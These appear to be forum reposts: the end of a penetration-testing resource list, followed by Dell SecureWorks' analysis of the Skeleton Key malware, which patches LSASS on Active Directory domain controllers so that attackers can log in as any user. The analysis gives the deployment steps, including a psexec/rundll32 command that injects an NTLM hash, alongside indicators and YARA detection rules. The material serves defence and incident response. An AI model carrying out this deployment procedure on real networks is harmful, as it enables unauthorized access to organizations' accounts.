Shellcodes database [h=4][/h][h=4]Social Engineering Resources[/h] Social Engineering Framework - An information resource for social engineers [h=4][/h][h=4]Lock Picking Resources[/h] Schuyler Towne channel - Lockpicking videos and security talks [h=3][/h][h=3]Tools[/h] [h=4][/h][h=4]Penetration Testing Distributions[/h] Kali - A Linux distribution designed for digital forensics and penetration testing NST - Network Security Toolkit distribution Pentoo - security-focused livecd based on Gentoo BackBox - Ubuntu-based distribution for penetration tests and security assessments [h=4]Basic Penetration Testing Tools[/h] Metasploit - World's most used penetration testing software Burp - An integrated platform for performing security testing of web applications [h=4]Vulnerability Scanners[/h] Netsparker - Web Application Security Scanner Nexpose - Vulnerability Management & Risk Management Software Nessus - Vulnerability, configuration, and compliance assessment Nikto - Web application vulnerability scanner OpenVAS - Open Source vulnerability scanner and manager OWASP Zed Attack Proxy - Penetration testing tool for web applications w3af - Web application attack and audit framework Wapiti - Web application vulnerability scanner [h=4][/h][h=4]Networks Tools[/h] nmap - Free Security Scanner For Network Exploration & Security Audits tcpdump/libpcap - A common packet analyzer that runs under the command line Wireshark - A network protocol analyzer for Unix and Windows Network Tools - Different network tools: ping, lookup, whois, etc netsniff-ng - A Swiss army knife for for network sniffing Intercepter-NG - a multifunctional network toolkit [h=4]SSL Analysis Tools[/h] SSLyze - SSL configuration scanner [h=4]Hex Editors[/h] HexEdit.js - Browser-based hex editing [h=4]Crackers[/h] John the Ripper - Fast password cracker Online MD5 cracker - Online MD5 hash Cracker [h=4]Windows Utils[/h] Sysinternals Suite - The Sysinternals Troubleshooting Utilities Windows Credentials Editor - security tool to list logon sessions and add, change, list and delete associated credentials [h=4]DDoS Tools[/h] LOIC - An open source network stress tool for Windows JS LOIC - JavaScript in-browser version of LOIC [h=4]Social Engineering Tools[/h] SET - The Social-Engineer Toolkit from TrustedSec [h=4]Anonimity Tools[/h] Tor - The free software for enabling onion routing online anonymity I2P - The Invisible Internet Project [h=4]Reverse Engineering Tools[/h] IDA Pro - A Windows, Linux or Mac OS X hosted multi-processor disassembler and debugger WDK/WinDbg - Windows Driver Kit and WinDbg OllyDbg - An x86 debugger that emphasizes binary code analysis [h=3]Books[/h] [h=4]Penetration Testing Books[/h] The Art of Exploitation by Jon Erickson, 2008 Metasploit: The Penetration Tester's Guide by David Kennedy and others, 2011 Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman, 2014 Rtfm: Red Team Field Manual by Ben Clark, 2014 The Hacker Playbook by Peter Kim, 2014 The Basics of Hacking and Penetration Testing by Patrick Engebretson, 2013 Professional Penetration Testing by Thomas Wilhelm, 2013 Advanced Penetration Testing for Highly-Secured Environments by Lee Allen,2012 Violent Python by TJ O'Connor, 2012 Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton, Adam Greene, Pedram Amini, 2007 [h=4]Hackers Handbook Series[/h] The Shellcoders Handbook by Chris Anley and others, 2007 The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011 iOS Hackers Handbook by Charlie Miller and others, 2012 Android Hackers Handbook by Joshua J. Drake and others, 2014 The Browser Hackers Handbook by Wade Alcorn and others, 2014 [h=4]Network Analysis Books[/h] Nmap Network Scanning by Gordon Fyodor Lyon, 2009 Practical Packet Analysis by Chris Sanders, 2011 Wireshark Network Analysis by by Laura Chappell, Gerald Combs, 2012 [h=4]Reverse Engineering Books[/h] Reverse Engineering for Beginners by Dennis Yurichev (free!) The IDA Pro Book by Chris Eagle, 2011 Practical Reverse Engineering by Bruce Dang and others, 2014 Reverse Engineering for Beginners [h=4]Malware Analysis Books[/h] Practical Malware Analysis by Michael Sikorski, Andrew Honig, 2012 The Art of Memory Forensics by Michael Hale Ligh and others, 2014 [h=4]Windows Books[/h] Windows Internals by Mark Russinovich, David Solomon, Alex Ionescu [h=4]Social Engineering Books[/h] The Art of Deception by Kevin D. Mitnick, William L. Simon, 2002 The Art of Intrusion by Kevin D. Mitnick, William L. Simon, 2005 Ghost in the Wires by Kevin D. Mitnick, William L. Simon, 2011 No Tech Hacking by Johnny Long, Jack Wiles, 2008 Social Engineering: The Art of Human Hacking by Christopher Hadnagy, 2010 Unmasking the Social Engineer: The Human Element of Security by Christopher Hadnagy, 2014 [h=4][/h][h=4]Lock Picking Books[/h] Practical Lock Picking by Deviant Ollam, 2012 Keys to the Kingdom by Deviant Ollam, 2012 [h=3]Vulnerability Databases[/h] NVD - US National Vulnerability Database CERT - US Computer Emergency Readiness Team OSVDB - Open Sourced Vulnerability Database Bugtraq - Symantec SecurityFocus Exploit-DB - Offensive Security Exploit Database Fulldisclosure - Full Disclosure Mailing List MS Bulletin - Microsoft Security Bulletin MS Advisory - Microsoft Security Advisories Inj3ct0r - Inj3ct0r Exploit Database Packet Storm - Packet Storm Global Security Resource SecuriTeam - Securiteam Vulnerability Information CXSecurity - CSSecurity Bugtraq List Vulnerability Laboratory - Vulnerability Research Laboratory ZDI - Zero Day Initiative [h=3][/h][h=3]Security Courses[/h] Offensive Security Training - Training from BackTrack/Kali developers SANS Security Training - Computer Security Training & Certification Open Security Training - Training material for computer security classes CTF Field Guide - everything you need to win your next CTF competition [h=3]Information Security Conferences[/h] DEF CON - An annual hacker convention in Las Vegas Black Hat - An annual security conference in Las Vegas BSides - A framework for organising and holding security conferences CCC - An annual meeting of the international hacker scene in Germany DerbyCon - An annual hacker conference based in Louisville PhreakNIC - A technology conference held annually in middle Tennessee ShmooCon - An annual US east coast hacker convention CarolinaCon - An infosec conference, held annually in North Carolina HOPE - A conference series sponsored by the hacker magazine 2600 SummerCon - One of the oldest hacker conventions, held during Summer Hack.lu - An annual conference held in Luxembourg HITB - Deep-knowledge security conference held in Malaysia and The Netherlands Troopers - Annual international IT Security event with workshops held in Heidelberg, Germany Hack3rCon - An annual US hacker conference ThotCon - An annual US hacker conference held in Chicago LayerOne - An annual US security conerence held every spring in Los Angeles DeepSec - Security Conference in Vienna, Austria SkyDogCon - A technology conference in Nashville [h=3][/h][h=3]Information Security Magazines[/h] 2600: The Hacker Quarterly - An American publication about technology and computer "underground" Hakin9 - A Polish online, weekly publication on IT Security [h=3]Awesome Lists[/h] SecTools - Top 125 Network Security Tools C/C++ Programming - One of the main language for open source security tools .NET Programming - A software framework for Microsoft Windows platform development Shell Scripting - Command-line frameworks, toolkits, guides and gizmos Ruby Programming by @SiNdresorhus - JavaScript in command-line Node.js Programming by @vndmtrx - JavaScript in command-line Python tools for penetration testers - Lots of pentesting tools are written in Python Python Programming by @svaksha - General Python programming Python Programming by @vinta - General Python programming Andorid Security - A collection of android security related resources Awesome Awesomness - The List of the Lists [h=3][/h][h=3]Contribution[/h] Your contributions and suggestions are heartily? welcome. (????) [h=3][/h][h=3]License[/h] This work is licensed under a Creative Commons Attribution 4.0 International License Sursa: https://github.com/enaqx/awesome-pentest

Skeleton Key Malware Analysis Author: Dell SecureWorks Counter Threat Unit™ Threat Intelligence Date: 12 January 2015 URL: Skeleton Key Malware Analysis | Dell SecureWorks Summary Dell SecureWorks Counter Threat Unit (CTU) researchers discovered malware that bypasses authentication on Active Directory (AD) systems that implement single-factor (password only) authentication. Threat actors can use a password of their choosing to authenticate as any user. This malware was given the name "Skeleton Key." CTU researchers discovered Skeleton Key on a client network that used single-factor authentication for access to webmail and VPN, giving the threat actor unfettered access to remote access services. Skeleton Key is deployed as an in-memory patch on a victim's AD domain controllers to allow the threat actor to authenticate as any user, while legitimate users can continue to authenticate as normal. Skeleton Key's authentication bypass also allows threat actors with physical access to login and unlock systems that authenticate users against the compromised AD domain controllers. The only known Skeleton Key samples as of this publication lack persistence and must be redeployed when a domain controller is restarted. CTU researchers suspect that threat actors can only identify a restart based on their inability to successfully authenticate using the bypass, as no other malware was detected on the domain controllers. Between eight hours and eight days of a restart, threat actors used other remote access malware already deployed on the victim's network to redeploy Skeleton Key on the domain controllers. Skeleton Key requires domain administrator credentials for deployment. CTU researchers have observed threat actors deploying Skeleton Key using credentials stolen from critical servers, administrators' workstations, and the targeted domain controllers. Analysis CTU researchers initially observed a Skeleton Key sample named ole64.dll on a compromised network (see Table 1). [TABLE=class: tabularr] [TR] [TH]Attribute[/TH] [TH]Value or description[/TH] [/TR] [TR] [TD]Filename[/TD] [TD]ole64.dll[/TD] [/TR] [TR] [TD]MD5[/TD] [TD]bf45086e6334f647fda33576e2a05826[/TD] [/TR] [TR] [TD]SHA1[/TD] [TD]5083b17ccc50dd0557dfc544f84e2ab55d6acd92[/TD] [/TR] [TR] [TD]Compile time[/TD] [TD]2014-02-19 09:31:29[/TD] [/TR] [TR] [TD]Deployed[/TD] [TD]As required (typically downloaded using malware and then deleted after use)[/TD] [/TR] [TR] [TD]File size[/TD] [TD]49664 bytes[/TD] [/TR] [TR] [TD]Sections[/TD] [TD].text, .rdata, .data, .pdata, .rsrc, .reloc[/TD] [/TR] [TR] [TD]Exports[/TD] [TD]ii (installs the patch) uu (uninstalls the patch) DllEntryPoint (default DLL entry point)[/TD] [/TR] [/TABLE] Table 1. Skeleton Key sample ole64.dll. When investigating ole64.dll, CTU researchers discovered an older variant named msuta64.dll on a "jump host" in the victim's network (see Table 2). The jump host is any system previously compromised by the threat actors' remote access malware. This variant includes additional debug statements, which allow the Skeleton Key developer to observe the memory addresses involved in the patching process. [TABLE=class: tabularr] [TR] [TH]Attribute[/TH] [TH]Value or description[/TH] [/TR] [TR] [TD]Filename[/TD] [TD]msuta64.dll[/TD] [/TR] [TR] [TD]MD5[/TD] [TD]66da7ed621149975f6e643b4f9886cfd[/TD] [/TR] [TR] [TD]SHA1[/TD] [TD]ad61e8daeeba43e442514b177a1b41ad4b7c6727[/TD] [/TR] [TR] [TD]Compile time[/TD] [TD]2012-09-20 08:07:12[/TD] [/TR] [TR] [TD]Deployed[/TD] [TD]2013-09-29 07:58:16[/TD] [/TR] [TR] [TD]File size[/TD] [TD]50688 bytes[/TD] [/TR] [TR] [TD]Sections[/TD] [TD].text, .rdata, .data, .pdata, .rsrc, .reloc[/TD] [/TR] [TR] [TD]Exports[/TD] [TD]i (installs the patch) u (uninstalls the patch) DllEntryPoint (default DLL entry point)[/TD] [/TR] [/TABLE] Table 2. Skeleton Key sample msuta64.dll. The threat actors used the following process to deploy Skeleton Key as a 64-bit DLL file: Upload the Skeleton Key DLL file to a staging directory on a jump host in the victim's network. CTU researchers have observed three filenames associated with the Skeleton Key DLL file: ole64.dll, ole.dll, and msuta64.dll. Windows systems include a legitimate ole32.dll file, but it is not related to this malware. Attempt to access the administrative shares on the domain controllers using a list of stolen domain administrator credentials. If the stolen credentials are no longer valid, use password theft tools to extract clear text domain administrator passwords from one of the following locations, which suggest a familiarity with the victim's environment: memory of another accessible server on the victim's network domain administrators' workstations targeted domain controllers [*]Use valid domain administrator credentials to copy the Skeleton Key DLL to C:\WINDOWS\system32\ on the target domain controllers. [*]Use the PsExec utility to run the Skeleton Key DLL remotely on the target domain controllers using the rundll32 command. The threat actor's chosen password is formatted as an NTLM password hash rather than provided in clear text. After Skeleton Key is deployed, the threat actor can authenticate as any user using the threat actor's configured NTLM password hash: psexec -accepteula \\%TARGET-DC% rundll32 <DLL filename> ii <NTLM password hash> [*]Delete the Skeleton Key DLL file from C:\WINDOWS\system32\ on the targeted domain controllers. [*]Delete the Skeleton Key DLL file from the staging directory on the jump host. [*]Test for successful Skeleton Key deployment using "net use" commands with an AD account and the password that corresponds to the configured NTLM hash. CTU researchers have observed a pattern for the injected password that suggests that the threat group has deployed Skeleton Key in multiple organizations. The use of PsExec can be detected within a Windows environment by alerting on the Windows events generated by the utility. The following Event IDs observed on the targeted domain controllers record the PsExec tool installing its service, starting the service, and stopping the service. These events are created every time PsExec is used, so additional analysis of the events is required to determine if they are malicious or legitimate: Unexpected PSEXESVC service install events (event ID 7045) on AD domain controllers: Log Name: System Source: Service Control Manager Summary: A service was installed in the system. Service File Name: %SystemRoot%\PSEXESVC.exe Unexpected PSEXESVC service start / stop events (event ID 7036) on AD domain controllers: Log Name: System Source: Service Control Manager Summary: "The PSEXESVC service entered the running state." "The PSEXESVC service entered the stopped state." When run, Skeleton Key performs the following tasks: Check for one of the following compatible 64-bit Windows versions. The malware is not compatible with 32-bit Windows versions or with Windows Server versions beginning with Windows Server 2012 (6.2). 6.1 (Windows 2008 R2) 6.0 (Windows Server 2008) 5.2 (Windows 2003 R2) [*]Use the SeDebugPrivilege function to acquire the necessary administrator privileges to write to the Local Security Authority Subsystem Service (LSASS) process. This process controls security functions for the AD domain, including user account authentication. [*]Enumerate available processes to acquire a handle to the LSASS process. [*]Obtain addresses for the authentication-related functions that will be patched: CDLocateCSystem — located in cryptdll.dll SamIRetrieveMultiplePrimaryCredentials — located in samsrv.dll SamIRetrievePrimaryCredentials — located in samsrv.dll [*]Perform OS-specific adjustments using the global variable set during the compatibility check in Step 1. [*]Use the OpenProcess function to acquire a handle to the LSASS process. [*]Reserve and allocate the required memory space to edit and patch the LSASS process's memory. [*]Patch relevant functions based on the operating system: CDLocateCSystem (all compatible Windows versions) SamIRetrieveMultiplePrimaryCredentials (only Windows 2008 R2 (6.1)) SamIRetrievePrimaryCredentials (all compatible Windows versions other than Windows 2008 R2 (6.1)) Skeleton Key performs the following steps to patch each function: Call the VirtualProtectEx function to change the memory protection to allow writing to the required memory allocations (PAGE_EXECUTE_READWRITE, 0x40). This step allows the function's code to be updated in memory. Call the WriteProcessMemory function to change the address of the target function to point to the patched code. This change causes calls to the target function to use the patch instead. Restore the original memory protection by calling VirtualProtectEx with the original memory protection flags. This step is likely to avoid suspicious writable and executable memory allocations. After patching, the threat actor can use the Skeleton Key password configured at the time of deployment to log in as any domain user. Legitimate users can still log in using their own passwords. This authentication bypass applies to all services that use single-factor AD authentication, such as web mail and VPNs, and it also allows a threat actor with physical access to a compromised system to unlock the computer by typing the injected password on the keyboard. Possible link to domain replication issues The Skeleton Key malware does not transmit network traffic, making network-based detection ineffective. However, the malware has been implicated in domain replication issues that may indicate an infection. Shortly after each deployment of the Skeleton Key malware observed by CTU researchers, domain controllers experienced replication issues that could not be explained or addressed by Microsoft support and eventually required a reboot to resolve. These reboots removed Skeleton Key's authentication bypass because the malware does not have a persistence mechanism. Figure 1 shows the timeline of these reboots and the threat actors' subsequent password theft, lateral expansion, and Skeleton Key deployment. Redeployments typically occurred within several hours to several days of the reboot. Figure 1. Relationships of deployments and reboots observed by CTU researchers, April - July 2014. (Source: Dell SecureWorks) Countermeasures The Skeleton Key malware bypasses authentication and does not generate network traffic. As a result, network-based intrusion detection and intrusion prevention systems (IDS/IPS) will not detect this threat. However, CTU researchers wrote the YARA signatures in Appendix A to detect a Skeleton Key DLL and the code it injects into the LSASS process's memory. Threat indicators The threat indicators in Table 3 can be used to detect activity related to the Skeleton Key malware. [TABLE=class: tabularr] [TR] [TH]Indicator[/TH] [TH]Type[/TH] [TH]Context[/TH] [/TR] [TR] [TD]66da7ed621149975f6e643b4f9886cfd[/TD] [TD]MD5 hash[/TD] [TD]Skeleton Key patch msuta64.dll[/TD] [/TR] [TR] [TD]ad61e8daeeba43e442514b177a1b41ad4b7c6727[/TD] [TD]SHA1 hash[/TD] [TD]Skeleton Key patch msuta64.dll[/TD] [/TR] [TR] [TD]bf45086e6334f647fda33576e2a05826[/TD] [TD]MD5 hash[/TD] [TD]Skeleton Key patch ole64.dll[/TD] [/TR] [TR] [TD]5083b17ccc50dd0557dfc544f84e2ab55d6acd92[/TD] [TD]SHA1 hash[/TD] [TD]Skeleton Key patch ole64.dll[/TD] [/TR] [/TABLE] Table 3. Indicators for the Skeleton Key malware. Conclusion The CTU research team recommends that organizations implement the following protections to defend against the Skeleton Key malware: Multi-factor authentication for all remote access solutions, including VPNs and remote email, prevents threat actors from bypassing single-factor authentication or authenticating using stolen static credentials. A process creation audit trail on workstations and servers, including AD domain controllers, may detect Skeleton Key deployments. Specifically, organizations should look for the following artifacts: Unexpected PsExec.exe processes and the use of the PsExec "-accepteula" command line argument Unexpected rundll32.exe processes Process arguments that resemble NTLM hashes (32 characters long, containing digits 0-9 and characters A-F) [*]Monitoring Windows Service Control Manager events on AD domain controllers may reveal unexpected service installation events (event ID 7045) and service start/stop events (event ID 7036) for PsExec's PSEXESVC service. Appendix A — YARA signatures The following YARA signatures detect the presence of Skeleton Key on a system, by scanning either a suspicious file or a memory dump of Active Directory domain controllers suspected to contain Skeleton Key. rule skeleton_key_patcher { strings: $target_process = "lsass.exe" wide $dll1 = "cryptdll.dll" $dll2 = "samsrv.dll" $name = "HookDC.dll" $patched1 = "CDLocateCSystem" $patched2 = "SamIRetrievePrimaryCredentials" $patched3 = "SamIRetrieveMultiplePrimaryCredentials" condition: all of them } rule skeleton_key_injected_code { strings: $injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 } $patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 } $patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 } $patch_SamIRetrieveMultiplePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 } condition: any of them } Sursa: Skeleton Key Malware Analysis | Dell SecureWorks